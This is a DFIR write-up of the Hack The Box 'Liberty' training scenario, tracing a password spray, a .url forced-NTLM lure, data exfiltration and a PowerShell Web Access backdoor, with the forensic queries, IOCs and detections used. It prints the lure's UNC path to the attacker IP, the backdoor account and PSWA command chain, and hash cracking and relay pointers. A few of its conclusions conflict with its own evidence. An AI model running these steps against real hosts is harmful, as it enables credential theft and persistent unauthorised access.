Solved Liberty from Hack The Box!
| Field | Details |
|---|---|
| Case Reference | HTB-SHRLCK-LIBERTY |
| Platform | Hack The Box — Sherlock |
| Category | DFIR — Password Spraying & Forced Authentication |
| Difficulty | Medium |
| Date Opened | 2025-06-11 |
| Severity | High |
| Status | Closed — training scenario |
| Host | LIBERYSV08 |
| Stack | KAPE FILES, Windows Event Logs, Sysmon |
| Tools | chainsaw, hayabusa, splunk, MFTcmd, regripper |
Liberty launched a massive project with a budget exceeding $100 million, with the goal of granting true freedom to humanity. One day, a system administrator discovered a shared folder configured with “Full Control” permissions granted to “Everyone”, raising concerns about a potential security incident. You have been tasked with investigating evidence collected from the affected endpoint. Threat Intelligence previously identified that an employee’s credentials were harvested by a RedLine Stealer, suspected to have been used for initial access.
Before the investigation, the EVTX files were exported to a single JSON format and a Hayabusa CSV timeline was generated:
$ chainsaw dump --extension evtx --skip-errors ../Windows/System32/winevt/logs/ -j -o chainsaw_dump.json
$ hayabusa csv-timeline -d ../Windows/System32/winevt/logs/ -U -o hayabusa_timeline.csv
1. Executive Summary
On 2025-06-11 an attacker conducted a password spraying attack against LIBERYSV08 from 192.168.189.129, identifying v.hunter as a valid credential. Using forced NTLM authentication via a crafted Proposal.url file (UNC path \\192.168.189.129\%USERNAME%.icon), the attacker captured the Net-NTLMv2 hash, then established an RDP session as v.hunter. They discovered C:\ProjectArk, archived it as arkproj.zip (~783 KB), uploaded it to yourc2filemanager.cn, and created a backdoor account t.minami with PowerShell Web Access (PSWA) over WinRM (port 5985) for persistent browser-based access.
This report reconstructs the intrusion from KAPE triage artifacts, Windows Event Logs, MFT/USN journal, SYSTEM/SAM hives and browser history.
1.1 Incident Summary
| Field | Details |
|---|---|
| Incident Type | Password spraying → forced authentication → data exfiltration → backdoor persistence |
| Initial Access | Password spraying (5 attempts) identifying v.hunter |
| Discovery | System administrator noticed a share with “Full Control” for “Everyone” |
| First Execution | 2025-06-11 14:35:56 UTC (password spray burst) |
| Persistence | Backdoor account t.minami in “Remote Management Users” + PSWA over WinRM |
| Overall Severity | High |
1.2 Key Findings
- 5 failed logon attempts in one second from
192.168.189.129(password spraying), then a successful logon asv.hunter. - A crafted
Proposal.urlfile in theProposalshare forced NTLM authentication to\\192.168.189.129\%USERNAME%.icon, capturing a Net-NTLMv2 hash (T1187). - The attacker established an RDP session as
v.hunterat 14:44:48 UTC. C:\ProjectArkwas archived asarkproj.zip(783,907 bytes) and uploaded toyourc2filemanager.cn.- A backdoor account
t.minamiwas created and added to “Remote Management Users”; PSWA access confirmed at 14:54:55 UTC over WinRM port 5985. - The
ProjectArkshare was created by the attacker at the system root for data staging.
2. Investigation Scope & Artifacts
2.1 Artifacts Analyzed
| Artifact | Format | What it answers |
|---|---|---|
chainsaw_dump.json |
JSON (exported EVTX) | All Windows events (4624/4625/4634/4732/4738) — Q1, Q2, Q9, Q14, Q17 |
hayabusa_timeline.csv |
CSV timeline | Quick-win detection timeline |
$MFT |
Master File Table | File creation in Proposal/ProjectArk, arkproj.zip — Q4, Q10, Q11, Q12, Q20 |
$J (USN Journal) |
USN journal | arkproj.zip creation — Q11 |
SYSTEM hive |
Registry hive | Shares (Proposal/Users/ProjectArk) — Q3, Q20 |
SAM hive |
Registry hive | Full names of user accounts — Q8 |
Edge History (k.texus) |
SQLite | Upload URL yourc2filemanager.cn — Q13 |
PowerShell ConsoleHost_history.txt (k.texus) |
Text | Full attacker command chain — Q14, Q15 |
Microsoft-Windows-PowerShellWebAccess/Operational log |
EVTX | PSWA session events (784/769/770) — Q17, Q18, Q19 |
2.2 Tools & Methods
| Tool | Purpose |
|---|---|
| chainsaw | Dump EVTX to JSON |
| hayabusa | CSV timeline generation |
| splunk | Querying chainsaw_dump.json |
| MFTECmd / MFTcmd | Parse $MFT and $J (USN journal) |
| Timeline Explorer | Filter MFT/USN output |
| regripper | Parse SYSTEM (shares) and SAM (user names) hives |
| strings | Extract URLs from Edge History |
| jq | Filter JSON event data |
3. Technical Analysis
3.1 Scenario
Password spraying leading to backdoor access on LIBERYSV08. An employee’s credentials were harvested by a RedLine Stealer and used for initial access. The threat actor conducted password spraying, forced NTLM authentication via a crafted .url file, established RDP, exfiltrated ProjectArk data, and created a PSWA backdoor account.
3.2 Q1 — You suspect that a threat actor might conduct password spraying attack on this server. How many failed logon attempts identified before successfully identifying the correct pair of the credential?
Answer: 5
A password spraying attack involves trying a single password against multiple usernames to avoid account lockouts. We filtered for EventID 4625 (failed logon) and looked for a burst of attempts in a short timeframe from the same source IP.
$ cat chainsaw_dump.json | jq -r '.[] | select(.Event.System.EventID==4625) | "\(.Event.System.TimeCreated_attributes.SystemTime) --> \(.Event.EventData.TargetUserName) --> \(.Event.EventData.IpAddress)"'
The output reveals 5 failed logon attempts at 2025-06-11 14:35:56 originating from 192.168.189.129, each targeting a different username (t.miami, a.kimaga, y.wsasua, k.tasaga, n.nokoda) within the same second — a clear indicator of password spraying.

MITRE ATT&CK: T1110.003 — Brute Force: Password Spraying
Adversaries use a single or small list of commonly used passwords against many different accounts to acquire valid credentials without triggering account lockouts.
Detection angle. Burst of EID 4625 from one IP targeting multiple usernames within the same second — password spraying.
3.3 Q2 — What is the user that was identified by the threat actor?
Answer: v.hunter
Following the failed attempts, we filtered for EventID 4624 (successful logon) excluding noise accounts (SYSTEM), looking for a success event close to the spray timestamp.
cat chainsaw_dump.json | jq -r '.[] | select(.Event.System.EventID==4624 and .Event.EventData.TargetUserName!="SYSTEM") | "\(.Event.System.TimeCreated_attributes.SystemTime) --> \(.Event.EventData.TargetUserName) --> \(.Event.EventData.IpAddress)"'

The output shows v.hunter successfully authenticated from 192.168.189.129 at 2025-06-11T14:35:56, immediately following the spray burst — confirming this was the valid credential pair identified by the attacker.
MITRE ATT&CK: T1078 — Valid Accounts
Adversaries may obtain and abuse credentials of existing accounts to gain initial access, persistence, privilege escalation, or defense evasion.
Detection angle. EID 4624 success immediately following a spray burst from the same IP — compromised valid account.
3.4 Q3 — There is a shared folder that can be accessed by all users. What is the name of this shared folder?
Answer: Proposal
Since EventID 5140/5142/5143 (network share events) were absent, we pivoted to the SYSTEM registry hive where Windows stores share definitions under ControlSet001\Services\LanmanServer\Shares. We parsed it using regripper:
$ regripper -r Windows/System32/config/SYSTEM -p shares
Proposal
MaxUses=5
Permissions=9
Remark=This share is used to store project proposal and allow anyone on this computer to put a file to it and Texus will review them
Users
MaxUses=4294967295
Permissions=0
ProjectArk
MaxUses=4294967295
Permissions=0
The output revealed three shares: Proposal, Users, ProjectArk. The Proposal share is accessible by all users based on its remark. Permissions=9 means read-only for everyone; MaxUses=5 limits concurrent connections.
MITRE ATT&CK: T1135 — Network Share Discovery
Adversaries may look for folders and drives shared on remote systems to identify sources of information and potential systems of interest for lateral movement.
Detection angle. regripper shares plugin on the SYSTEM hive — enumerate shares even when share events are absent.
3.5 Q4 — The threat actor uploaded several files to the previously identified shared folder. One of these files can be used to capture the hash of a user who opens it. What is the name of that file?
Answer: Proposal.url
To find files uploaded to the Proposal share, we parsed the $MFT using MFTECmd and Timeline Explorer:
& 'C:\Tools\Eric Zimmerman\net9\MFTECmd.exe' -f '.\$MFT' --csv

The MFT revealed proposal.url (type DowWindows) created on 2025-06-11 14:39:14 inside the Proposal share. A .url file is a Windows Internet Shortcut — when crafted with a UNC path pointing to an attacker-controlled server, it forces the victim’s machine to automatically attempt NTLM authentication upon opening, capturing the NTLM hash.
MITRE ATT&CK: T1187 — Forced Authentication
Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept it.
Detection angle. $MFT entries for .url files in a shared folder — forced-authentication lure.
3.6 Q5 — What is the full URL used by threat actor to mimic the fake proposal of the project?
Answer: http://argonaut.ark/proposal.html
We extracted the content of proposal.url from the $MFT using strings:
$ strings -a \$MFT | grep -A 5 -B 5 -i "proposal"

The URL field points to a legitimate-looking webpage as a decoy. However the malicious part is the IconFile field — it points to a UNC path on the attacker’s machine at 192.168.189.129. When any user opens the .url file, Windows automatically attempts to load the icon by authenticating to \\192.168.189.129 via NTLM, sending the user’s hash to the attacker without any interaction beyond opening the file. The %USERNAME% variable identifies which user opened it.
MITRE ATT&CK: T1187 — Forced Authentication
Adversaries use UNC path injection via crafted files to force NTLM authentication to attacker-controlled infrastructure.
Detection angle. .url file with IconFile pointing to a UNC path (\\IP\…) — forced-authentication lure.
3.7 Q6 — What is the full UNC path of the network share that the threat actor used to capture hash of the victim?
Answer: \\192.168.189.129\%USERNAME%.icon
As identified in Q5, the proposal.url file contained a crafted IconFile field pointing to:
\\192.168.189.129\%USERNAME%.icon
When any user opens the file, Windows automatically attempts to load the icon resource from this UNC path, triggering an NTLM authentication request to the attacker’s machine at 192.168.189.129. The %USERNAME% variable dynamically resolves to the victim’s username.
MITRE ATT&CK: T1187 — Forced Authentication
Adversaries craft files containing UNC paths to attacker-controlled infrastructure to silently capture NTLM hashes.
Detection angle. UNC path \\192.168.x.x\%USERNAME%.* in a .url file’s IconFile — forced NTLM capture.
3.8 Q7 — What is the format of the hash that the threat actor captured via this method?
Answer: Net-NTLMv2
When a user opens the proposal.url file, Windows authenticates to the UNC path \\192.168.189.129\%USERNAME%.icon using the Net-NTLMv2 challenge-response protocol. The attacker’s machine (acting as a rogue SMB server, typically via Responder) intercepts this and captures the Net-NTLMv2 hash:
username::domain:challenge:HMAC-MD5:blob
This hash can then be:
- Cracked offline using Hashcat with mode
-m 5600 - Relayed to other systems using
ntlmrelayx
MITRE ATT&CK: T1187 — Forced Authentication
The captured Net-NTLMv2 hash can be used for offline password cracking or NTLM relay attacks.
Detection angle. Rogue SMB server (Responder) capturing Net-NTLMv2 — alert on inbound SMB auth from workstations to non-domain IPs.
3.9 Q8 — What is the full name of the second compromised user?
Answer: Kuneo Texus
We parsed the SAM registry hive using regripper:
regripper -r ../Windows/System32/config/SAM -p samparse | grep "Full Name"
Full Name : Tiana Miami
Full Name : Kuneo Texus
Full Name : Ninomae Nodoka
Full Name : Virakuya Hunter
The SAM hive stores local user account information including full names. Cross-referencing with earlier findings — the Proposal share remark mentioned “Texus will review them” — confirming Kuneo Texus (k.texus) is the victim who would open files placed in the Proposal share. This also aligns with the earlier EventID 4625 failed logon attempts targeting k.texus.
MITRE ATT&CK: T1589.003 — Gather Victim Identity Information: Employee Names
Adversaries may gather employee names for further reconnaissance or attack.
Detection angle. regripper samparse on SAM hive — enumerate local accounts and full names.
3.10 Q9 — When was the time that the threat actor connected to the server via RDP in UTC?
Answer: 2025-06-11 14:44:48
RDP logons are recorded as EventID 4624 with LogonType 10 (RemoteInteractive). We filtered in Splunk after the known attack timestamp:
index="main" source="chainsaw_dump.json"
| spath input=_raw output=EventID path="Event.System.EventID"
| spath input=_raw output=Timestamp path="Event.System.TimeCreated_attributes.SystemTime"
| spath input=_raw output=Username path="Event.EventData.TargetUserName"
| spath input=_raw output=Domain path="Event.EventData.TargetDomainName"
| spath input=_raw output=LogonType path="Event.EventData.LogonType"
| search EventID=4624 OR EventID=4625
| where Timestamp > "2025-06-11T14:34:00"
| where Domain="LIBERYSV08" AND LogonType=10
| where NOT match(Username, "DWM|UMFD|SYSTEM|ANONYMOUS|user")
| table Timestamp, Username, EventID, Domain, LogonType
| sort Timestamp

The results show the threat actor established an RDP session at 2025-06-11 14:44:48 UTC using the compromised v.hunter credentials — approximately 9 minutes after the initial password spray and successful logon at 14:35:56.
MITRE ATT&CK: T1021.001 — Remote Services: Remote Desktop Protocol
Adversaries may use Valid Accounts to log into a computer using RDP for lateral movement or further compromise.
Detection angle. EID 4624 LogonType 10 (RDP) with a non-system username after a spray — RDP access with compromised creds.
3.11 Q10 — The threat actor discovered a folder that stores files about the project. What is the full path of this folder?
Answer: C:\ProjectArk
We extracted folder names from the $MFT using strings, looking for project-related directory names:
strings -a '$MFT' | grep -iE "(project|ark)" | sort -u | head -30
The $MFT revealed C:\ProjectArk as a directory. This aligns with the earlier SYSTEM hive finding of a share named ProjectArk — confirming this is the local folder behind that share and the project folder the threat actor discovered and browsed after establishing RDP at 14:44:48.
MITRE ATT&CK: T1083 — File and Directory Discovery
Adversaries may enumerate files and directories to further their objectives after gaining access.
Detection angle. strings on $MFT for project-related directory names — file/directory discovery.
3.12 Q11 — The threat actor created an archive file containing all files of the previously identified folder. What is the name of this archive file?
Answer: arkproj.zip
Since no prefetch files were available and PowerShell logs didn’t capture the command, we pivoted to the USN Journal ($J) which tracks all file system operations including file creation:
MFTECmd.exe -f '$J' --csv C:\output --csvf journal_output.csv
Then opened journal_output.csv in Timeline Explorer and filtered for ark and zip, revealing arkproj.zip as a newly created archive file after the RDP session at 14:44:48. The filename arkproj references ProjectArk.

MITRE ATT&CK: T1560.001 — Archive Collected Data: Archive via Utility
Adversaries may use utilities like zip to compress collected data prior to exfiltration.
Detection angle. USN Journal ($J) entries for .zip creation in a project folder — data staging.
3.13 Q12 — What is the total bytes of all files on that folder which were compressed into the previously identified archive file? (not including Zone Identifier)
Answer: 783907
To find the file sizes of all files in C:\ProjectArk, we parsed the $MFT using MFTECmd and opened the output in Timeline Explorer, filtering the ParentPath column for ProjectArk and excluding Zone.Identifier entries (NTFS ADS storing download origin metadata).

| File | Size (bytes) |
|---|---|
| diagram.png | 286347 |
| Project Ark Scope and Planing.docx | 16395 |
| Project Ark Scope and Planing.pdf | 255143 |
| Project Ark Present to board.pptx | 74110 |
| Strakeholders.xlsx | 5380 |
| Full timeline GANTT.xlsx | 132675 |
| Allocated Budget planning.xlsx | 13857 |
| Total | 783907 |
MITRE ATT&CK: T1560.001 — Archive Collected Data: Archive via Utility
Adversaries compress and archive collected data prior to exfiltration.
Detection angle. Sum of file sizes in $MFT for a project folder — quantifies exfiltration scope.
3.14 Q13 — The threat actor uploaded the previously identified file to a C2 website. What is the domain of this website?
Answer: yourc2filemanager.cn
Since the threat actor had an active RDP session, we investigated browser artifacts. We located the Microsoft Edge browser history file from the KAPE artifacts and extracted URLs using strings:
strings -a ../Users/k.texus/AppData/Local/Microsoft/Edge/User\ Data/Default/History | grep -iE "http://"

The output revealed the URL yourc2filemanager.cn — a domain consistent with a C2 file manager used for exfiltrating data. The threat actor used the compromised v.hunter RDP session to upload arkproj.zip to their C2 infrastructure via the Edge browser — blending exfiltration with normal web traffic.
MITRE ATT&CK: T1567 — Exfiltration Over Web Service
Adversaries may use an existing, legitimate external web service to exfiltrate data rather than their primary C2 channel.
Detection angle. Edge History strings for upload-related domains — exfiltration over web service.
3.15 Q14 — While reviewing users on this server, you found a suspicious user. What is the name of this user?
Answer: t.minami
After establishing the RDP session, the threat actor used k.texus’s account to run PowerShell commands. We found the PowerShell Console History file:
cat ../Users/k.texus/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
The output revealed the full attack chain:
Install-WindowsFeature -Name WindowsPowerShellWebAccess -IncludeManagementTools
Install-PswaWebApplication -UseTestCertificate
Add-PswaAuthorizationRule -UserName * -ComputerName * -ConfigurationName *
Enable-PSRemoting -Force
Test-WSMan
Get-Service -Name WinRM
net localgroup "remote management users" t.minami /add
net user t.minami

The attacker:
- Installed PowerShell Web Access — enabling browser-based remote PowerShell access
- Enabled PSRemoting — allowing remote PowerShell sessions
- At
2025-06-11 14:53:33(perEventID 4732) addedt.minamito theRemote Management Usersgroup — establishing a backdoor account
MITRE ATT&CK: T1136.001 — Create Account: Local Account
Adversaries may create a local account to maintain access without deploying remote access tools.
MITRE ATT&CK: T1078.003 — Valid Accounts: Local Accounts
Adversaries may obtain and abuse credentials of a local account to maintain persistent access.
Detection angle. ConsoleHost_history.txt revealing net user/net localgroup commands — backdoor account creation.
3.16 Q15 — The threat actor installed a web-based gateway as a backdoor to the server. What is the full command used to install this feature?
Answer: Install-WindowsFeature -Name WindowsPowerShellWebAccess -IncludeManagementTools
As identified in Q14, the PowerShell Console History revealed this was the first command the threat actor executed after gaining access. PowerShell Web Access (PSWA) is a legitimate Windows feature providing a web-based PowerShell console accessible through a browser. The threat actor installed it as a backdoor to maintain persistent remote access without needing traditional RDP, blending in with legitimate Windows features.
MITRE ATT&CK: T1505.004 — Server Software Component: IIS Components
Adversaries may install components on servers to establish persistent access using built-in features like PSWA.
MITRE ATT&CK: T1021.006 — Remote Services: Windows Remote Management
Adversaries may use WinRM to execute commands on remote systems.
Detection angle. ConsoleHost_history.txt containing Install-WindowsFeature -Name WindowsPowerShellWebAccess — PSWA backdoor installation.
3.17 Q16 — Which protocol has to be enabled to use this feature?
Answer: WinRM
As seen in the PowerShell Console History, the threat actor explicitly enabled and verified WinRM after installing PowerShell Web Access:
Enable-PSRemoting -Force
Test-WSMan
Get-Service -Name WinRM
WinRM (Windows Remote Management) is Microsoft’s implementation of the WS-Management protocol. It is a prerequisite for PowerShell Web Access as it handles the underlying remote communication. Enable-PSRemoting -Force configures and starts the WinRM service; Test-WSMan verifies the connection.
MITRE ATT&CK: T1021.006 — Remote Services: Windows Remote Management
Adversaries may use Valid Accounts to interact with remote systems using WinRM.
Detection angle. Enable-PSRemoting / Test-WSMan in console history — WinRM enablement for remote access.
3.18 Q17 — Provide the UTC timestamp when the threat actor confirmed successful backdoor access through the previously identified user account.
Answer: 2025-06-11 14:54:55
After adding t.minami to the Remote Management Users group at 14:53:33, the threat actor navigated to the PSWA web portal and authenticated as the backdoor user. The confirmation is captured in the Microsoft-Windows-PowerShellWebAccess/Operational log:
- Event ID 784 (14:54:52) — PSWA authentication request for
LIBERYSV08\t.minami - Event ID 769 (14:54:55) — Session successfully established
- Event ID 770 (14:55:40) — Session closed via “User Signoff”
SessionId: LIBERYSV08\t.minami.250611.075455
UserName: LIBERYSV08\t.minami
OriginIP: 192.168.189.129
TargetNode: localhost
Port: 5985
Config: Microsoft.PowerShell
The short session (~45 seconds) and “User Signoff” end type indicate the threat actor logged in, verified access was working, and signed out — a classic access validation pattern. Standard 4624 logon events were insufficient because PSWA proxied the connection through IIS (w3wp.exe), resulting in Type 3 network logons with no remote IP; the true source IP (192.168.189.129) was only recorded in the PSWA operational log.
MITRE ATT&CK: T1078.003 — Valid Accounts: Local Accounts
The threat actor leveraged the backdoor account t.minami to confirm remote access through PSWA.
Detection angle. PSWA operational log Events 784/769/770 — PSWA authentication and session establishment.
3.19 Q18 — What is the Session ID of this connection?
Answer: LIBERYSV08\t.minami.250611.075455
The Session ID was recorded in PowerShell Web Access Event ID 769 at 2025-06-11 14:54:55. PSWA generates session identifiers using the format <Computer>\<Username>.<Date>.<Time>:
- Computer: LIBERYSV08
- User: t.minami (the backdoor account)
- Date/Time: 250611.075455 (June 11, 2025 — reflects the server’s local time zone offset from UTC)
The same Session ID appears in Event ID 770 at 14:55:40 when the session was terminated via “User Signoff,” confirming the full lifecycle.
MITRE ATT&CK: T1021.006 — Remote Services: Windows Remote Management
The PSWA session operated over WinRM (port 5985). Tracking PSWA Session IDs enables correlation of authentication, command execution, and session termination events.
Detection angle. PSWA Session ID in Events 769/770 — correlate auth + termination for backdoor access.
3.20 Q19 — Provide the UTC timestamp when was this session terminated by the threat actor.
Answer: 2025-06-11 14:55:40
The session termination was captured in PowerShell Web Access Event ID 770:
SessionId: LIBERYSV08\t.minami.250611.075455
EndType: User Signoff
Short-lived sessions using newly created accounts are a common indicator of access testing during persistence establishment. The brief “connect and verify” pattern helps threat actors confirm their backdoor is operational while reducing the detection window.
MITRE ATT&CK: T1078.003 — Valid Accounts: Local Accounts
Detection angle. PSWA Event 770 with EndType: User Signoff — short-lived backdoor validation session.
3.21 Q20 — What is the name of the shared folder that was created by the threat actor during the invasion?
Answer: ProjectArk
The shared folder was identified through the SYSTEM registry hive at ControlSet\Services\LanmanServer\Shares using RegRipper’s shares plugin. Three shares were registered:

- Users — default Windows share, not attacker-created
- Proposal — has a legitimate business remark mentioning k.texus; limited to 5 connections; attacker-accessed
- ProjectArk — no remark, unlimited connections, at
C:\root (unusual); suspicious

ProjectArk was mapped to C:\ProjectArk at the root of the system drive — an unusual location. Cross-referencing with the $MFT, the folder contained sensitive business documents. The MFT LastRecordChange timestamps for all files within ProjectArk were updated to 2025-06-11 14:56:25 — during the active intrusion — confirming the threat actor interacted with this share. The absence of a descriptive remark, root-level placement, and concentration of high-value business documents are consistent with a data staging share created for exfiltration.
MITRE ATT&CK: T1039 — Data from Network Shared Drive
Adversaries may search network shares on compromised computers to find files of interest. The threat actor created a dedicated shared folder named ProjectArk to consolidate and stage sensitive business documents.
Detection angle. regripper shares plugin — share with no remark at C:\ root with unlimited connections is suspicious.
4. Challenge Q&A Log
| # | Question | Answer | Method |
|---|---|---|---|
| 1 | Failed logon attempts before success | 5 |
EID 4625 burst |
| 2 | User identified by attacker | v.hunter |
EID 4624 success |
| 3 | Shared folder accessible by all users | Proposal |
regripper shares |
| 4 | File capturing hash on open | Proposal.url |
$MFT |
| 5 | Full URL mimicking fake proposal | http://argonaut.ark/proposal.html |
strings on $MFT |
| 6 | UNC path for hash capture | \\192.168.189.129\%USERNAME%.icon |
proposal.url content |
| 7 | Hash format captured | Net-NTLMv2 |
Forced authentication |
| 8 | Full name of second compromised user | Kuneo Texus |
regripper samparse |
| 9 | RDP connection time (UTC) | 2025-06-11 14:44:48 |
EID 4624 LogonType 10 |
| 10 | Project folder full path | C:\ProjectArk |
strings on $MFT |
| 11 | Archive file name | arkproj.zip |
USN Journal ($J) |
| 12 | Total bytes archived | 783907 |
$MFT file sizes |
| 13 | C2 upload domain | yourc2filemanager.cn |
Edge History strings |
| 14 | Suspicious backdoor user | t.minami |
PowerShell Console History |
| 15 | Full command to install PSWA | Install-WindowsFeature -Name WindowsPowerShellWebAccess -IncludeManagementTools |
Console History |
| 16 | Protocol required for PSWA | WinRM |
Console History |
| 17 | PSWA backdoor access timestamp | 2025-06-11 14:54:55 |
PSWA Operational log (EID 769) |
| 18 | PSWA Session ID | LIBERYSV08\t.minami.250611.075455 |
PSWA Operational log |
| 19 | Session termination timestamp | 2025-06-11 14:55:40 |
PSWA Operational log (EID 770) |
| 20 | Shared folder created by attacker | ProjectArk |
regripper shares |
5. Incident Narrative
On 2025-06-11 the threat actor conducted a password spray from 192.168.189.129 against LIBERYSV08: 5 failed logons in one second, then a successful authentication as v.hunter at 14:35:56. They then planted a crafted Proposal.url file in the Proposal share (accessible by all users) whose IconFile pointed to \\192.168.189.129\%USERNAME%.icon, forcing NTLM authentication and capturing a Net-NTLMv2 hash when any user opened it.
At 14:44:48 the attacker established an RDP session as v.hunter, discovered C:\ProjectArk, archived its contents (783,907 bytes) as arkproj.zip, and uploaded it to yourc2filemanager.cn via Edge. They then installed PowerShell Web Access, enabled WinRM, and created a backdoor account t.minami (added to “Remote Management Users”). Backdoor access was validated via PSWA at 14:54:55 (session LIBERYSV08\t.minami.250611.075455) and terminated at 14:55:40. The ProjectArk share (no remark, unlimited connections, at C:\ root) was created by the attacker for data staging.
6. Attack Timeline
| Timestamp (UTC) | Event | Artifact | ATT&CK |
|---|---|---|---|
| 2025-06-11 14:35:56 | Password spray (5 failed) + successful logon as v.hunter |
EID 4624/4625 | T1110.003 |
| 2025-06-11 14:39:14 | Proposal.url created in Proposal share (forced auth lure) |
$MFT |
T1187 |
| 2025-06-11 14:44:48 | RDP session as v.hunter |
EID 4624 (LogonType 10) | T1021.001 |
| 2025-06-11 14:46:06 | arkproj.zip created from ProjectArk |
USN Journal ($J) |
T1560.001 |
| 2025-06-11 14:46:44 | arkproj.zip uploaded to yourc2filemanager.cn |
Edge History | T1567 |
| 2025-06-11 14:53:33 | t.minami added to “Remote Management Users” |
EID 4732 | T1136.001 |
| 2025-06-11 14:54:55 | PSWA backdoor access validated (session established) | PSWA Operational (EID 769) | T1078.003 |
| 2025-06-11 14:55:40 | PSWA session terminated (User Signoff) | PSWA Operational (EID 770) | T1078.003 |
| 2025-06-11 14:56:25 | ProjectArk files touched (MFT LastRecordChange) |
$MFT |
T1039 |
7. Indicators of Compromise (IOCs)
7.1 File IOCs
| Type | Value | Context |
|---|---|---|
| File Name | Proposal.url |
Forced-authentication lure in Proposal share — Q4 |
| File Name | arkproj.zip |
Archive of ProjectArk — Q11 |
| File Path | C:\ProjectArk\ |
Attacker-created staging share — Q10/Q20 |
| File Path | C:\Users\k.texus\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
Attacker command history — Q14 |
7.2 Network IOCs
| Type | Value | Context |
|---|---|---|
| IP Address | 192.168.189.129 |
Attacker IP (spray, RDP, PSWA) — Q1/Q9/Q17 |
| IP Address | 192.168.189.129 |
UNC target for forced NTLM (%USERNAME%.icon) — Q6 |
| Domain | yourc2filemanager.cn |
Exfiltration destination — Q13 |
| URL | http://argonaut.ark/proposal.html |
Decoy URL in Proposal.url — Q5 |
7.3 Behavioral IOCs
| Type | Value | Context |
|---|---|---|
| Account | v.hunter |
Compromised account (RedLine Stealer creds) — Q2 |
| Account | t.minami |
Backdoor account created by attacker — Q14 |
| Account | k.texus |
User whose share/files were targeted — Q8 |
| Share | ProjectArk |
Attacker-created share (no remark, root-level) — Q20 |
| Command | Install-WindowsFeature -Name WindowsPowerShellWebAccess -IncludeManagementTools |
PSWA backdoor install — Q15 |
| Command | net localgroup "remote management users" t.minami /add |
Backdoor group membership — Q14 |
| Hash format | Net-NTLMv2 | Captured via forced authentication — Q7 |
| Session ID | LIBERYSV08\t.minami.250611.075455 |
PSWA backdoor session — Q18 |
8. Detection Opportunities
| Source | What to look for | Why it matters |
|---|---|---|
| Windows Security (EID 4625) | Burst of failed logons from one IP targeting multiple usernames in one second | Password spraying — Q1 |
| Windows Security (EID 4624) | Successful logon immediately after a spray burst from the same IP | Compromised valid account — Q2 |
| Windows Security (EID 4624, LogonType 10) | RDP logon with a non-system username after suspicious activity | RDP access with compromised creds — Q9 |
SYSTEM hive (regripper shares) |
Share with no remark at C:\ root with unlimited connections |
Attacker-created staging share — Q20 |
$MFT |
.url files in shared folders with IconFile pointing to a UNC path |
Forced-authentication lure — Q4/Q5 |
USN Journal ($J) |
Creation of .zip archives in project folders |
Data staging for exfiltration — Q11 |
| Edge History | Uploads to unknown domains (e.g. yourc2filemanager.cn) |
Exfiltration over web service — Q13 |
| PowerShell Console History | Install-WindowsFeature -Name WindowsPowerShellWebAccess, net user, net localgroup |
PSWA backdoor installation — Q14/Q15 |
| PSWA Operational log (EID 784/769/770) | Authentication + session establishment + signoff from new accounts | Backdoor access validation — Q17/Q18/Q19 |
9. MITRE ATT&CK Mapping
| TTP ID | Tactic | Technique | Evidence |
|---|---|---|---|
| T1110.003 | Credential Access | Brute Force: Password Spraying | 5 failed logons in one second — Q1 |
| T1078 | Defense Evasion | Valid Accounts | v.hunter used for RDP/PSWA — Q2/Q9/Q17 |
| T1135 | Discovery | Network Share Discovery | Shares enumerated via registry — Q3 |
| T1187 | Credential Access | Forced Authentication | Proposal.url with UNC IconFile — Q4/Q5/Q6 |
| T1021.001 | Lateral Movement | Remote Services: RDP | RDP session as v.hunter — Q9 |
| T1083 | Discovery | File and Directory Discovery | C:\ProjectArk discovered — Q10 |
| T1560.001 | Collection | Archive Collected Data: Archive via Utility | arkproj.zip (783,907 bytes) — Q11/Q12 |
| T1567 | Exfiltration | Exfiltration Over Web Service | Upload to yourc2filemanager.cn — Q13 |
| T1136.001 | Persistence | Create Account: Local Account | t.minami created — Q14 |
| T1078.003 | Persistence | Valid Accounts: Local Accounts | t.minami used for PSWA — Q14/Q17 |
| T1505.004 | Persistence | Server Software Component: IIS Components | PSWA installed as backdoor — Q15 |
| T1021.006 | Lateral Movement | Remote Services: WinRM | PSWA over WinRM port 5985 — Q16 |
| T1589.003 | Reconnaissance | Gather Victim Identity Information: Employee Names | Full names from SAM hive — Q8 |
| T1039 | Collection | Data from Network Shared Drive | ProjectArk share created for staging — Q20 |
10. Conclusions & Recommendations
10.1 Incident Summary
| What Happened | An attacker sprayed passwords to gain v.hunter credentials, forced NTLM authentication via a crafted .url file to capture a Net-NTLMv2 hash, established RDP, archived and exfiltrated ProjectArk (783 KB) to a C2, and installed a PowerShell Web Access backdoor account (t.minami) over WinRM. |
|---|---|
| Root Cause | A shared folder (Proposal) with “Full Control” for “Everyone” allowed the attacker to plant a forced-authentication lure; no account lockout or MFA slowed the spray; WinRM/PSWA were installable by the compromised user. |
| Impact Assessment | Confidentiality: High — ProjectArk (budgets, stakeholder lists, board presentations) exfiltrated. Integrity: High — backdoor account and PSWA installed. Availability: Medium — Proposal share accessible to all users. |
10.2 Recommendations
| Priority | Timeframe | Recommendation |
|---|---|---|
| Immediate | Within 24h | Disable t.minami account; remove PSWA (Uninstall-WindowsFeature WindowsPowerShellWebAccess); block yourc2filemanager.cn and 192.168.189.129 |
| High | Within 7 days | Reset v.hunter and k.texus passwords; revoke arkproj.zip exposure; remove ProjectArk share; review Proposal share permissions |
| Medium | Within 30 days | Implement account lockout + MFA; restrict WinRM to admin hosts; alert on EventID 4732 (group membership changes) and PSWA install |
| Low | Within 90 days | User awareness for .url/forced-authentication lures; restrict “Everyone” share permissions |
| Strategic | Ongoing | Baseline shares/registry; monitor $MFT/USN for archive creation in project folders; deploy EDR with SMB/WinRM monitoring |
11. Analyst Notes & Learning
11.1 What I Did Well
Pivoted from absent share events (5140/5142/5143) to the SYSTEM registry hive (regripper shares), and from missing prefetch/PowerShell logs to the USN Journal ($J) for arkproj.zip creation. Cross-referenced the Proposal share remark with SAM full names to identify Kuneo Texus.
11.2 Key Takeaways
- Absent event logs ≠ absent evidence: the SYSTEM hive and
$MFT/$Jretain share and file activity even when EVTX events are missing. - Forced authentication via
.urlfiles (T1187) is a silent credential-capture technique requiring only “open file” interaction. - PSWA as a backdoor blends into legitimate Windows features; the PSWA operational log is the only place the true source IP appears (IIS proxies the connection).
